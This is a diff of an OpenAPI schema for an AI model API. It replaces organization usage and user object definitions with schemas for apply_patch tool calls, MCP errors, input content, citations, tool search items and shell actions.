+ description: Instruction describing how to delete a file via the apply_patch tool.
+ ApplyPatchUpdateFileOperation:
properties:
- id:
- type: string
- description: The upload Part unique identifier, which can be referenced in API endpoints.
- created_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) for when the Part was created.
- upload_id:
- type: string
- description: The ID of the Upload object that this Part was added to.
- object:
+ type:
type: string
- description: The object type, which is always `upload.part`.
enum:
- - upload.part
+ - update_file
+ description: Update an existing file with the provided diff.
+ default: update_file
x-stainless-const: true
- required:
- - created_at
- - id
- - object
- - upload_id
- x-oaiMeta:
- name: The upload part object
- example: |
- {
- "id": "part_def456",
- "object": "upload.part",
- "created_at": 1719186911,
- "upload_id": "upload_abc123"
- }
- UsageAudioSpeechesResult:
+ path:
+ type: string
+ description: Path of the file to update.
+ diff:
+ type: string
+ description: Diff to apply.
type: object
- description: The aggregated audio speeches usage details of the specific time bucket.
+ required:
+ - type
+ - path
+ - diff
+ title: Apply patch update file operation
+ description: Instruction describing how to update a file via the apply_patch tool.
+ ApplyPatchToolCall:
properties:
- object:
+ type:
type: string
enum:
- - organization.usage.audio_speeches.result
+ - apply_patch_call
+ description: The type of the item. Always `apply_patch_call`.
+ default: apply_patch_call
x-stainless-const: true
- characters:
- type: integer
- description: The number of characters processed.
- num_model_requests:
- type: integer
- description: The count of requests made to the model.
- project_id:
- anyOf:
- - type: string
- description: When `group_by=project_id`, this field provides the project ID of the grouped usage result.
- - type: 'null'
- user_id:
- anyOf:
- - type: string
- description: When `group_by=user_id`, this field provides the user ID of the grouped usage result.
- - type: 'null'
- api_key_id:
+ id:
+ type: string
+ description: The unique ID of the apply patch tool call. Populated when this item is returned via API.
+ call_id:
+ type: string
+ description: The unique ID of the apply patch tool call generated by the model.
+ caller:
anyOf:
- - type: string
- description: When `group_by=api_key_id`, this field provides the API key ID of the grouped usage result.
+ - $ref: '#/components/schemas/ToolCallCaller'
+ description: The execution context that produced this tool call.
- type: 'null'
- model:
+ status:
+ $ref: '#/components/schemas/ApplyPatchCallStatus'
+ description: The status of the apply patch tool call. One of `in_progress` or `completed`.
+ operation:
+ discriminator:
+ propertyName: type
+ title: Apply patch operation
+ description: One of the create_file, delete_file, or update_file operations applied via apply_patch.
anyOf:
- - type: string
- description: When `group_by=model`, this field provides the model name of the grouped usage result.
- - type: 'null'
- required:
- - object
- - characters
- - num_model_requests
- x-oaiMeta:
- name: Audio speeches usage object
- example: |
- {
- "object": "organization.usage.audio_speeches.result",
- "characters": 45,
- "num_model_requests": 1,
- "project_id": "proj_abc",
- "user_id": "user-abc",
- "api_key_id": "key_abc",
- "model": "tts-1"
- }
- UsageAudioTranscriptionsResult:
+ - $ref: '#/components/schemas/ApplyPatchCreateFileOperation'
+ - $ref: '#/components/schemas/ApplyPatchDeleteFileOperation'
+ - $ref: '#/components/schemas/ApplyPatchUpdateFileOperation'
+ created_by:
+ type: string
+ description: The ID of the entity that created this tool call.
type: object
- description: The aggregated audio transcriptions usage details of the specific time bucket.
+ required:
+ - type
+ - id
+ - call_id
+ - status
+ - operation
+ title: Apply patch tool call
+ description: A tool call that applies file diffs by creating, deleting, or updating files.
+ ApplyPatchCallOutputStatus:
+ type: string
+ enum:
+ - completed
+ - failed
+ ApplyPatchToolCallOutput:
properties:
- object:
+ type:
type: string
enum:
- - organization.usage.audio_transcriptions.result
+ - apply_patch_call_output
+ description: The type of the item. Always `apply_patch_call_output`.
+ default: apply_patch_call_output
x-stainless-const: true
- seconds:
- type: integer
- format: int64
- description: The number of seconds processed.
- num_model_requests:
- type: integer
- description: The count of requests made to the model.
- project_id:
- anyOf:
- - type: string
- description: When `group_by=project_id`, this field provides the project ID of the grouped usage result.
- - type: 'null'
- user_id:
- anyOf:
- - type: string
- description: When `group_by=user_id`, this field provides the user ID of the grouped usage result.
- - type: 'null'
- api_key_id:
+ id:
+ type: string
+ description: The unique ID of the apply patch tool call output. Populated when this item is returned via API.
+ call_id:
+ type: string
+ description: The unique ID of the apply patch tool call generated by the model.
+ caller:
anyOf:
- - type: string
- description: When `group_by=api_key_id`, this field provides the API key ID of the grouped usage result.
+ - $ref: '#/components/schemas/ToolCallCaller'
+ description: The execution context that produced this tool call.
- type: 'null'
- model:
+ status:
+ $ref: '#/components/schemas/ApplyPatchCallOutputStatus'
+ description: The status of the apply patch tool call output. One of `completed` or `failed`.
+ output:
anyOf:
- type: string
- description: When `group_by=model`, this field provides the model name of the grouped usage result.
+ description: Optional textual output returned by the apply patch tool.
- type: 'null'
- required:
- - object
- - seconds
- - num_model_requests
- x-oaiMeta:
- name: Audio transcriptions usage object
- example: |
- {
- "object": "organization.usage.audio_transcriptions.result",
- "seconds": 10,
- "num_model_requests": 1,
- "project_id": "proj_abc",
- "user_id": "user-abc",
- "api_key_id": "key_abc",
- "model": "tts-1"
- }
- UsageCodeInterpreterSessionsResult:
+ created_by:
+ type: string
+ description: The ID of the entity that created this tool call output.
type: object
- description: The aggregated code interpreter sessions usage details of the specific time bucket.
+ required:
+ - type
+ - id
+ - call_id
+ - status
+ title: Apply patch tool call output
+ description: The output emitted by an apply patch tool call.
+ MCPProtocolError:
properties:
- object:
+ type:
type: string
enum:
- - organization.usage.code_interpreter_sessions.result
+ - mcp_protocol_error
+ default: mcp_protocol_error
x-stainless-const: true
- num_sessions:
+ code:
type: integer
- description: The number of code interpreter sessions.
- project_id:
- anyOf:
- - type: string
- description: When `group_by=project_id`, this field provides the project ID of the grouped usage result.
- - type: 'null'
+ message:
+ type: string
+ type: object
required:
- - object
- - num_sessions
- x-oaiMeta:
- name: Code interpreter sessions usage object
- example: |
- {
- "object": "organization.usage.code_interpreter_sessions.result",
- "num_sessions": 1,
- "project_id": "proj_abc"
- }
- UsageCompletionsResult:
+ - type
+ - code
+ - message
+ MCPToolExecutionError:
+ properties:
+ type:
+ type: string
+ enum:
+ - mcp_tool_execution_error
+ default: mcp_tool_execution_error
+ x-stainless-const: true
+ content: {}
type: object
- description: The aggregated completions usage details of the specific time bucket.
+ required:
+ - type
+ - content
+ HTTPError:
properties:
- object:
+ type:
type: string
enum:
- - organization.usage.completions.result
+ - http_error
+ default: http_error
x-stainless-const: true
- input_tokens:
- type: integer
- description: The aggregated number of input tokens used, including cached and cache-write tokens. This includes text, audio, and image tokens. For customers subscribed to Scale Tier, this includes Scale Tier tokens.
- input_cached_tokens:
- type: integer
- description: The aggregated number of cached input tokens used across text, audio, and image inputs. For customers subscribed to Scale Tier, this includes Scale Tier tokens.
- input_cache_write_tokens:
- type: integer
- description: The aggregated number of input tokens written to the cache.
- input_uncached_tokens:
- type: integer
- description: The aggregated number of uncached input tokens used across text, audio, and image inputs, excluding cache-write tokens.
- output_tokens:
- type: integer
- description: The aggregated number of output tokens used across text, audio, and image outputs. For customers subscribed to Scale Tier, this includes Scale Tier tokens.
- input_text_tokens:
- type: integer
- description: The aggregated number of uncached text input tokens used, excluding cache-write tokens.
- output_text_tokens:
- type: integer
- description: The aggregated number of text output tokens used.
- input_cached_text_tokens:
- type: integer
- description: The aggregated number of cached text input tokens used.
- input_audio_tokens:
- type: integer
- description: The aggregated number of uncached audio input tokens used.
- input_cached_audio_tokens:
- type: integer
- description: The aggregated number of cached audio input tokens used.
- output_audio_tokens:
- type: integer
- description: The aggregated number of audio output tokens used.
- input_image_tokens:
- type: integer
- description: The aggregated number of uncached image input tokens used.
- input_cached_image_tokens:
- type: integer
- description: The aggregated number of cached image input tokens used.
- output_image_tokens:
- type: integer
- description: The aggregated number of image output tokens used.
- num_model_requests:
+ code:
type: integer
- description: The count of requests made to the model.
- project_id:
- anyOf:
- - type: string
- description: When `group_by=project_id`, this field provides the project ID of the grouped usage result.
- - type: 'null'
- user_id:
- anyOf:
- - type: string
- description: When `group_by=user_id`, this field provides the user ID of the grouped usage result.
- - type: 'null'
- api_key_id:
- anyOf:
- - type: string
- description: When `group_by=api_key_id`, this field provides the API key ID of the grouped usage result.
- - type: 'null'
- model:
+ message:
+ type: string
+ type: object
+ required:
+ - type
+ - code
+ - message
+ MCPToolCallStatus:
+ type: string
+ enum:
+ - in_progress
+ - completed
+ - incomplete
+ - calling
+ - failed
+ DetailEnum:
+ type: string
+ enum:
+ - low
+ - high
+ - auto
+ - original
+ FunctionCallItemStatus:
+ type: string
+ enum:
+ - in_progress
+ - completed
+ - incomplete
+ ComputerCallOutputItemParam:
+ properties:
+ id:
anyOf:
- type: string
- description: When `group_by=model`, this field provides the model name of the grouped usage result.
+ description: The ID of the computer tool call output.
+ example: cuo_123
- type: 'null'
- batch:
+ call_id:
+ type: string
+ maxLength: 64
+ minLength: 1
+ description: The ID of the computer tool call that produced the output.
+ type:
+ type: string
+ enum:
+ - computer_call_output
+ description: The type of the computer tool call output. Always `computer_call_output`.
+ default: computer_call_output
+ x-stainless-const: true
+ output:
+ $ref: '#/components/schemas/ComputerScreenshotImage'
+ acknowledged_safety_checks:
anyOf:
- - type: boolean
- description: When `group_by=batch`, this field tells whether the grouped usage result is batch or not.
+ - items:
+ $ref: '#/components/schemas/ComputerCallSafetyCheckParam'
+ type: array
+ description: The safety checks reported by the API that have been acknowledged by the developer.
- type: 'null'
- service_tier:
+ status:
anyOf:
- - type: string
- description: When `group_by=service_tier`, this field provides the service tier of the grouped usage result.
+ - $ref: '#/components/schemas/FunctionCallItemStatus'
+ description: The status of the message input. One of `in_progress`, `completed`, or `incomplete`. Populated when input items are returned via API.
- type: 'null'
- required:
- - object
- - input_tokens
- - output_tokens
- - num_model_requests
- x-oaiMeta:
- name: Completions usage object
- example: |
- {
- "object": "organization.usage.completions.result",
- "input_tokens": 5000,
- "input_cached_tokens": 1800,
- "input_cache_write_tokens": 200,
- "input_uncached_tokens": 3000,
- "output_tokens": 1000,
- "input_text_tokens": 2500,
- "output_text_tokens": 800,
- "input_cached_text_tokens": 1500,
- "input_audio_tokens": 300,
- "input_cached_audio_tokens": 100,
- "output_audio_tokens": 100,
- "input_image_tokens": 200,
- "input_cached_image_tokens": 200,
- "output_image_tokens": 100,
- "num_model_requests": 5,
- "project_id": "proj_abc",
- "user_id": "user-abc",
- "api_key_id": "key_abc",
- "model": "gpt-6-astra",
- "batch": false,
- "service_tier": "default"
- }
- UsageEmbeddingsResult:
type: object
- description: The aggregated embeddings usage details of the specific time bucket.
+ required:
+ - call_id
+ - type
+ - output
+ title: Computer tool call output
+ description: The output of a computer tool call.
+ InputTextContentParam:
properties:
- object:
+ type:
type: string
enum:
- - organization.usage.embeddings.result
+ - input_text
+ description: The type of the input item. Always `input_text`.
+ default: input_text
x-stainless-const: true
- input_tokens:
- type: integer
- description: The aggregated number of input tokens used.
- num_model_requests:
- type: integer
- description: The count of requests made to the model.
- project_id:
- anyOf:
- - type: string
- description: When `group_by=project_id`, this field provides the project ID of the grouped usage result.
- - type: 'null'
- user_id:
- anyOf:
- - type: string
- description: When `group_by=user_id`, this field provides the user ID of the grouped usage result.
- - type: 'null'
- api_key_id:
- anyOf:
- - type: string
- description: When `group_by=api_key_id`, this field provides the API key ID of the grouped usage result.
- - type: 'null'
- model:
+ text:
+ type: string
+ maxLength: 10485760
+ description: The text input to the model.
+ prompt_cache_breakpoint:
anyOf:
- - type: string
- description: When `group_by=model`, this field provides the model name of the grouped usage result.
+ - $ref: '#/components/schemas/PromptCacheBreakpointParam'
- type: 'null'
- required:
- - object
- - input_tokens
- - num_model_requests
- x-oaiMeta:
- name: Embeddings usage object
- example: |
- {
- "object": "organization.usage.embeddings.result",
- "input_tokens": 20,
- "num_model_requests": 2,
- "project_id": "proj_abc",
- "user_id": "user-abc",
- "api_key_id": "key_abc",
- "model": "text-embedding-ada-002-v2"
- }
- UsageFileSearchCallsResult:
type: object
- description: The aggregated file search calls usage details of the specific time bucket.
+ required:
+ - type
+ - text
+ title: Input text
+ description: A text input to the model.
+ InputImageContentParamAutoParam:
properties:
- object:
+ type:
type: string
enum:
- - organization.usage.file_searches.result
+ - input_image
+ description: The type of the input item. Always `input_image`.
+ default: input_image
x-stainless-const: true
- num_requests:
- type: integer
- description: The count of file search calls.
- project_id:
+ image_url:
anyOf:
- type: string
- description: When `group_by=project_id`, this field provides the project ID of the grouped usage result.
+ maxLength: 20971520
+ format: uri
+ description: The URL of the image to be sent to the model. A fully qualified URL or base64 encoded image in a data URL.
- type: 'null'
- user_id:
+ file_id:
anyOf:
- type: string
- description: When `group_by=user_id`, this field provides the user ID of the grouped usage result.
+ description: The ID of the file to be sent to the model.
+ example: file-123
- type: 'null'
- api_key_id:
+ detail:
anyOf:
- - type: string
- description: When `group_by=api_key_id`, this field provides the API key ID of the grouped usage result.
+ - $ref: '#/components/schemas/DetailEnum'
+ description: The detail level of the image to be sent to the model. One of `high`, `low`, `auto`, or `original`. Defaults to `auto`.
- type: 'null'
- vector_store_id:
+ prompt_cache_breakpoint:
anyOf:
- - type: string
- description: When `group_by=vector_store_id`, this field provides the vector store ID of the grouped usage result.
+ - $ref: '#/components/schemas/PromptCacheBreakpointParam'
- type: 'null'
- required:
- - object
- - num_requests
- x-oaiMeta:
- name: File search calls usage object
- example: |
- {
- "object": "organization.usage.file_searches.result",
- "num_requests": 2,
- "project_id": "proj_abc",
- "user_id": "user-abc",
- "api_key_id": "key_abc",
- "vector_store_id": "vs_abc"
- }
- UsageImagesResult:
type: object
- description: The aggregated images usage details of the specific time bucket.
+ required:
+ - type
+ title: Input image
+ description: An image input to the model. Learn about [image inputs](https://developers.openai.com/api/docs/guides/images-vision)
+ FileDetailEnum:
+ type: string
+ enum:
+ - auto
+ - low
+ - high
+ InputFileContentParam:
properties:
- object:
+ type:
type: string
enum:
- - organization.usage.images.result
+ - input_file
+ description: The type of the input item. Always `input_file`.
+ default: input_file
x-stainless-const: true
- images:
- type: integer
- description: The number of images processed.
- num_model_requests:
- type: integer
- description: The count of requests made to the model.
- source:
+ file_id:
anyOf:
- type: string
- description: When `group_by=source`, this field provides the source of the grouped usage result, possible values are `image.generation`, `image.edit`, `image.variation`.
+ description: The ID of the file to be sent to the model.
+ example: file-123
- type: 'null'
- size:
+ filename:
anyOf:
- type: string
- description: When `group_by=size`, this field provides the image size of the grouped usage result.
+ description: The name of the file to be sent to the model.
- type: 'null'
- project_id:
+ file_data:
anyOf:
- type: string
- description: When `group_by=project_id`, this field provides the project ID of the grouped usage result.
+ maxLength: 73400320
+ description: The base64-encoded data of the file to be sent to the model.
- type: 'null'
- user_id:
+ file_url:
anyOf:
- type: string
- description: When `group_by=user_id`, this field provides the user ID of the grouped usage result.
+ format: uri
+ description: The URL of the file to be sent to the model.
- type: 'null'
- api_key_id:
+ detail:
+ $ref: '#/components/schemas/FileDetailEnum'
+ description: The detail level of the file to be sent to the model. Use `auto` to let the system select the detail level; for GPT-5.6 and later models, `auto` uses high-quality rendering, which may increase input token usage. Use `low` for lower-cost rendering, or `high` to render the file at higher quality. Defaults to `auto`.
+ prompt_cache_breakpoint:
+ anyOf:
+ - $ref: '#/components/schemas/PromptCacheBreakpointParam'
+ - type: 'null'
+ type: object
+ required:
+ - type
+ title: Input file
+ description: A file input to the model.
+ FunctionCallOutputItemParam:
+ properties:
+ id:
anyOf:
- type: string
- description: When `group_by=api_key_id`, this field provides the API key ID of the grouped usage result.
+ description: The unique ID of the function tool call output. Populated when this item is returned via API.
+ example: fc_123
- type: 'null'
- model:
+ call_id:
anyOf:
- type: string
- description: When `group_by=model`, this field provides the model name of the grouped usage result.
+ maxLength: 64
+ minLength: 1
+ description: The unique ID of the function tool call generated by the model.
- type: 'null'
- required:
- - object
- - images
- - num_model_requests
- x-oaiMeta:
- name: Images usage object
- example: |
- {
- "object": "organization.usage.images.result",
- "images": 2,
- "num_model_requests": 2,
- "size": "1024x1024",
- "source": "image.generation",
- "project_id": "proj_abc",
- "user_id": "user-abc",
- "api_key_id": "key_abc",
- "model": "dall-e-3"
- }
- UsageModerationsResult:
- type: object
- description: The aggregated moderations usage details of the specific time bucket.
- properties:
- object:
+ type:
type: string
enum:
- - organization.usage.moderations.result
+ - function_call_output
+ description: The type of the function tool call output. Always `function_call_output`.
+ default: function_call_output
x-stainless-const: true
- input_tokens:
- type: integer
- description: The aggregated number of input tokens used.
- num_model_requests:
- type: integer
- description: The count of requests made to the model.
- project_id:
+ output:
+ description: Text, image, or file output of the function tool call.
anyOf:
- type: string
- description: When `group_by=project_id`, this field provides the project ID of the grouped usage result.
- - type: 'null'
- user_id:
+ maxLength: 10485760
+ description: A JSON string of the output of the function tool call.
+ - items:
+ discriminator:
+ propertyName: type
+ description: A piece of message content, such as text, an image, or a file.
+ anyOf:
+ - $ref: '#/components/schemas/InputTextContentParam'
+ - $ref: '#/components/schemas/InputImageContentParamAutoParam'
+ - $ref: '#/components/schemas/InputFileContentParam'
+ type: array
+ description: An array of content outputs (text, image, file) for the function tool call.
+ name:
anyOf:
- type: string
- description: When `group_by=user_id`, this field provides the user ID of the grouped usage result.
+ maxLength: 128
+ minLength: 1
+ description: The name of the tool that produced the output.
- type: 'null'
- api_key_id:
+ namespace:
anyOf:
- type: string
- description: When `group_by=api_key_id`, this field provides the API key ID of the grouped usage result.
+ maxLength: 64
+ minLength: 1
+ pattern: ^[a-zA-Z0-9_-]+$
+ description: The namespace of the tool that produced the output.
- type: 'null'
- model:
+ caller:
anyOf:
- - type: string
- description: When `group_by=model`, this field provides the model name of the grouped usage result.
+ - $ref: '#/components/schemas/ToolCallCallerParam'
+ description: The execution context that produced this tool call.
- type: 'null'
- required:
- - object
- - input_tokens
- - num_model_requests
- x-oaiMeta:
- name: Moderations usage object
- example: |
- {
- "object": "organization.usage.moderations.result",
- "input_tokens": 20,
- "num_model_requests": 2,
- "project_id": "proj_abc",
- "user_id": "user-abc",
- "api_key_id": "key_abc",
- "model": "text-moderation"
- }
- UsageResponse:
- type: object
- properties:
- object:
- type: string
- enum:
- - page
- x-stainless-const: true
- data:
- type: array
- items:
- $ref: '#/components/schemas/UsageTimeBucket'
- has_more:
- type: boolean
- next_page:
+ status:
anyOf:
- - type: string
+ - $ref: '#/components/schemas/FunctionCallItemStatus'
+ description: The status of the item. One of `in_progress`, `completed`, or `incomplete`. Populated when items are returned via API.
- type: 'null'
- required:
- - object
- - data
- - has_more
- - next_page
- UsageTimeBucket:
type: object
+ required:
+ - type
+ - output
+ title: Function tool call output
+ description: The output of a function tool call.
+ FileCitationParam:
properties:
- object:
+ type:
type: string
enum:
- - bucket
+ - file_citation
+ description: The citation type. Always `file_citation`.
+ default: file_citation
x-stainless-const: true
- start_time:
- type: integer
- end_time:
+ index:
type: integer
- results:
- type: array
- items:
- discriminator:
- propertyName: object
- anyOf:
- - $ref: '#/components/schemas/UsageCompletionsResult'
- - $ref: '#/components/schemas/UsageEmbeddingsResult'
- - $ref: '#/components/schemas/UsageModerationsResult'
- - $ref: '#/components/schemas/UsageImagesResult'
- - $ref: '#/components/schemas/UsageAudioSpeechesResult'
- - $ref: '#/components/schemas/UsageAudioTranscriptionsResult'
- - $ref: '#/components/schemas/UsageVectorStoresResult'
- - $ref: '#/components/schemas/UsageCodeInterpreterSessionsResult'
- - $ref: '#/components/schemas/UsageFileSearchCallsResult'
- - $ref: '#/components/schemas/UsageWebSearchCallsResult'
- - $ref: '#/components/schemas/CostsResult'
- required:
- - object
- - start_time
- - end_time
- - results
- UsageVectorStoresResult:
+ minimum: 0
+ description: The index of the file in the list of files.
+ file_id:
+ type: string
+ description: The ID of the file.
+ example: file-123
+ filename:
+ type: string
+ description: The filename of the file cited.
type: object
- description: The aggregated vector stores usage details of the specific time bucket.
+ required:
+ - type
+ - index
+ - file_id
+ - filename
+ UrlCitationParam:
properties:
- object:
+ type:
type: string
enum:
- - organization.usage.vector_stores.result
+ - url_citation
+ description: The citation type. Always `url_citation`.
+ default: url_citation
x-stainless-const: true
- usage_bytes:
+ start_index:
type: integer
- description: The vector stores usage in bytes.
- project_id:
- anyOf:
- - type: string
- description: When `group_by=project_id`, this field provides the project ID of the grouped usage result.
- - type: 'null'
- required:
- - object
- - usage_bytes
- x-oaiMeta:
- name: Vector stores usage object
- example: |
- {
- "object": "organization.usage.vector_stores.result",
- "usage_bytes": 1024,
- "project_id": "proj_abc"
- }
- UsageWebSearchCallsResult:
+ minimum: 0
+ description: The index of the first character of the citation in the message.
+ end_index:
+ type: integer
+ minimum: 0
+ description: The index of the last character of the citation in the message.
+ url:
+ type: string
+ format: uri
+ description: The URL of the cited resource.
+ title:
+ type: string
+ description: The title of the cited resource.
type: object
- description: The aggregated web search calls usage details of the specific time bucket.
+ required:
+ - type
+ - start_index
+ - end_index
+ - url
+ - title
+ ContainerFileCitationParam:
properties:
- object:
+ type:
type: string
enum:
- - organization.usage.web_searches.result
+ - container_file_citation
+ description: The citation type. Always `container_file_citation`.
+ default: container_file_citation
x-stainless-const: true
- num_model_requests:
+ start_index:
type: integer
- description: The count of model requests.
- num_requests:
+ minimum: 0
+ description: The index of the first character of the citation in the message.
+ end_index:
type: integer
- description: The count of web search calls.
- project_id:
- anyOf:
- - type: string
- description: When `group_by=project_id`, this field provides the project ID of the grouped usage result.
- - type: 'null'
- user_id:
- anyOf:
- - type: string
- description: When `group_by=user_id`, this field provides the user ID of the grouped usage result.
- - type: 'null'
- api_key_id:
- anyOf:
- - type: string
- description: When `group_by=api_key_id`, this field provides the API key ID of the grouped usage result.
- - type: 'null'
- model:
- anyOf:
- - type: string
- description: When `group_by=model`, this field provides the model name of the grouped usage result.
- - type: 'null'
- context_level:
- anyOf:
- - type: string
- description: When `group_by=context_level`, this field provides the search context size of the grouped usage result.
- - type: 'null'
- required:
- - object
- - num_model_requests
- - num_requests
- x-oaiMeta:
- name: Web search calls usage object
- example: |
- {
- "object": "organization.usage.web_searches.result",
- "num_model_requests": 2,
- "num_requests": 2,
- "project_id": "proj_abc",
- "user_id": "user-abc",
- "api_key_id": "key_abc",
- "model": "gpt-6-astra",
- "context_level": "medium"
- }
- User:
+ minimum: 0
+ description: The index of the last character of the citation in the message.
+ container_id:
+ type: string
+ description: The ID of the container.
+ example: cntr_123
+ file_id:
+ type: string
+ description: The ID of the container file.
+ example: cfile_123
+ filename:
+ type: string
+ description: The filename of the container file cited.
type: object
- description: Represents an individual `user` within an organization.
+ required:
+ - type
+ - start_index
+ - end_index
+ - container_id
+ - file_id
+ - filename
+ ToolSearchCallItemParam:
properties:
- object:
- type: string
- enum:
- - organization.user
- description: The object type, which is always `organization.user`
- x-stainless-const: true
id:
- type: string
- description: The identifier, which can be referenced in API endpoints
- name:
- anyOf:
- - type: string
- - type: 'null'
- description: The name of the user
- email:
anyOf:
- type: string
+ description: The unique ID of this tool search call.
+ example: tsc_123
- type: 'null'
- description: The email address of the user
- role:
+ call_id:
anyOf:
- type: string
+ maxLength: 64
+ minLength: 1
+ description: The unique ID of the tool search call generated by the model.
- type: 'null'
- description: '`owner` or `reader`'
- added_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) of when the user was added.
- is_default:
- type: boolean
- description: Whether this is the organization's default user.
- created:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) of when the user was created.
- user:
- type: object
- description: Nested user details.
- properties:
- object:
- type: string
- enum:
- - user
- x-stainless-const: true
- id:
- type: string
- email:
- anyOf:
- - type: string
- - type: 'null'
- name:
- anyOf:
- - type: string
- - type: 'null'
- picture:
- anyOf:
- - type: string
- - type: 'null'
- enabled:
- anyOf:
- - type: boolean
- - type: 'null'
- banned:
- anyOf:
- - type: boolean
- - type: 'null'
- banned_at:
- anyOf:
- - type: integer
- format: unixtime
- - type: 'null'
- required:
- - object
- - id
- is_service_account:
- type: boolean
- description: Whether the user is a service account.
- is_scale_tier_authorized_purchaser:
- anyOf:
- - type: boolean
- - type: 'null'
- description: Whether the user is an authorized purchaser for Scale Tier.
- is_scim_managed:
- type: boolean
- description: Whether the user is managed through SCIM.
- api_key_last_used_at:
+ type:
+ type: string
+ enum:
+ - tool_search_call
+ description: The item type. Always `tool_search_call`.
+ default: tool_search_call
+ x-stainless-const: true
+ execution:
+ $ref: '#/components/schemas/ToolSearchExecutionType'
+ description: Whether tool search was executed by the server or by the client.
+ arguments:
+ $ref: '#/components/schemas/EmptyModelParam'
+ description: The arguments supplied to the tool search call.
+ status:
anyOf:
- - type: integer
- format: unixtime
+ - $ref: '#/components/schemas/FunctionCallItemStatus'
+ description: The status of the tool search call.
- type: 'null'
- description: The Unix timestamp (in seconds) of the user's last API key usage.
- technical_level:
+ type: object
+ required:
+ - type
+ - arguments
+ ToolSearchOutputItemParam:
+ properties:
+ id:
anyOf:
- type: string
+ description: The unique ID of this tool search output.
+ example: tso_123
- type: 'null'
- description: The technical level metadata for the user.
- developer_persona:
+ call_id:
anyOf:
- type: string
+ maxLength: 64
+ minLength: 1
+ description: The unique ID of the tool search call generated by the model.
- type: 'null'
- description: The developer persona metadata for the user.
- projects:
+ type:
+ type: string
+ enum:
+ - tool_search_output
+ description: The item type. Always `tool_search_output`.
+ default: tool_search_output
+ x-stainless-const: true
+ execution:
+ $ref: '#/components/schemas/ToolSearchExecutionType'
+ description: Whether tool search was executed by the server or by the client.
+ tools:
+ items:
+ $ref: '#/components/schemas/Tool'
+ type: array
+ description: The loaded tool definitions returned by the tool search output.
+ status:
anyOf:
- - type: object
- properties:
- object:
- type: string
- enum:
- - list
- x-stainless-const: true
- data:
- type: array
- items:
- type: object
- properties:
- id:
- anyOf:
- - type: string
- - type: 'null'
- name:
- anyOf:
- - type: string
- - type: 'null'
- role:
- anyOf:
- - type: string
- - type: 'null'
- required:
- - object
- - data
+ - $ref: '#/components/schemas/FunctionCallItemStatus'
+ description: The status of the tool search output.
- type: 'null'
- description: Projects associated with the user, if included.
- required:
- - object
- - id
- - added_at
- x-oaiMeta:
- name: The user object
- example: |
- {
- "object": "organization.user",
- "id": "user_abc",
- "name": "First Last",
- "email": "user@example.com",
- "role": "owner",
- "added_at": 1711471533
- }
- UserDeleteResponse:
type: object
+ required:
+ - type
+ - tools
+ AdditionalToolsItemParam:
properties:
- object:
+ id:
+ anyOf:
+ - type: string
+ description: The unique ID of this additional tools item.
+ example: at_123
+ - type: 'null'
+ type:
type: string
enum:
- - organization.user.deleted
+ - additional_tools
+ description: The item type. Always `additional_tools`.
+ default: additional_tools
x-stainless-const: true
- id:
- type: string
- deleted:
- type: boolean
- required:
- - object
- - id
- - deleted
- UserListResource:
- type: object
- description: Paginated list of user objects returned when inspecting group membership.
- properties:
- object:
+ role:
type: string
enum:
- - list
- description: Always `list`.
+ - developer
+ description: The role that provided the additional tools. Only `developer` is supported.
+ default: developer
x-stainless-const: true
- data:
- type: array
- description: Users in the current page.
+ tools:
items:
- $ref: '#/components/schemas/GroupUser'
- has_more:
- type: boolean
- description: Whether more users are available when paginating.
- next:
- description: Cursor to fetch the next page of results, or `null` when no further users are available.
+ $ref: '#/components/schemas/Tool'
+ type: array
+ description: A list of additional tools made available at this item.
+ type: object
+ required:
+ - type
+ - role
+ - tools
+ CompactionSummaryItemParam:
+ properties:
+ id:
anyOf:
- type: string
+ description: The ID of the compaction item.
+ example: cmp_123
- type: 'null'
- required:
- - object
- - data
- - has_more
- - next
- x-oaiMeta:
- name: Group user list
- example: |
- {
- "object": "list",
- "data": [
- {
- "id": "user_abc123",
- "name": "Ada Lovelace",
- "email": "ada@example.com"
- }
- ],
- "has_more": false,
- "next": null
- }
- UserListResponse:
- type: object
- properties:
- object:
+ type:
type: string
enum:
- - list
+ - compaction
+ description: The type of the item. Always `compaction`.
+ default: compaction
x-stainless-const: true
- data:
- type: array
+ encrypted_content:
+ type: string
+ maxLength: 20971520
+ description: The encrypted content of the compaction summary.
+ type: object
+ required:
+ - type
+ - encrypted_content
+ title: Compaction item
+ description: A compaction item generated by the [`v1/responses/compact` API](https://developers.openai.com/api/reference/resources/responses/methods/compact).
+ FunctionShellActionParam:
+ properties:
+ commands:
items:
- $ref: '#/components/schemas/User'
- first_id:
+ type: string
+ type: array
+ description: Ordered shell commands for the execution environment to run.
+ timeout_ms:
anyOf:
- - type: string
+ - type: integer
+ description: Maximum wall-clock time in milliseconds to allow the shell commands to run.
- type: 'null'
- last_id:
+ max_output_length:
anyOf:
- - type: string
+ - type: integer
+ description: Maximum number of UTF-8 characters to capture from combined stdout and stderr output.
- type: 'null'
- has_more:
- type: boolean
- required:
- - object
- - data
- - has_more
- UserRoleAssignment:
type: object
- description: Role assignment linking a user to a role.
- properties:
- object:
- type: string
- enum:
- - user.role
- description: Always `user.role`.
- x-stainless-const: true
- user:
- $ref: '#/components/schemas/User'
- role:
- $ref: '#/components/schemas/Role'
required:
- - object
- - user
- - role
- x-oaiMeta:
- name: The user role object
- example: |
- {
- "object": "user.role",
- "user": {
- "object": "organization.user",
- "id": "user_abc123",
- "name": "Ada Lovelace",
- "email": "ada@example.com",
- "role": "owner",
- "added_at": 1711470000
- },
- "role": {
- "object": "role",
- "id": "role_01J1F8ROLE01",
- "name": "API Group Manager",
- "description": "Allows managing organization groups",
- "permissions": [
- "api.groups.read",
- "api.groups.write"
- ],
- "resource_type": "api.organization",
- "predefined_role": false
- }
- }
- UserRoleUpdateRequest:
- type: object
+ - commands
+ title: Shell action
+ description: Commands and limits describing how to run the shell tool call.
+ FunctionShellCallItemStatus:
+ type: string
+ enum:
+ - in_progress
+ - completed
+ - incomplete
+ title: Shell call status
+ description: Status values reported for shell tool calls.
+ FunctionShellCallItemParam:
properties:
- role:
+ id:
anyOf:
- type: string
+ description: The unique ID of the shell tool call. Populated when this item is returned via API.
+ example: sh_123
- type: 'null'
- description: '`owner` or `reader`'
- role_id:
+ call_id:
+ type: string
+ maxLength: 64
+ minLength: 1
+ description: The unique ID of the shell tool call generated by the model.
+ caller:
anyOf:
- - type: string
+ - $ref: '#/components/schemas/ToolCallCallerParam'
+ description: The execution context that produced this tool call.
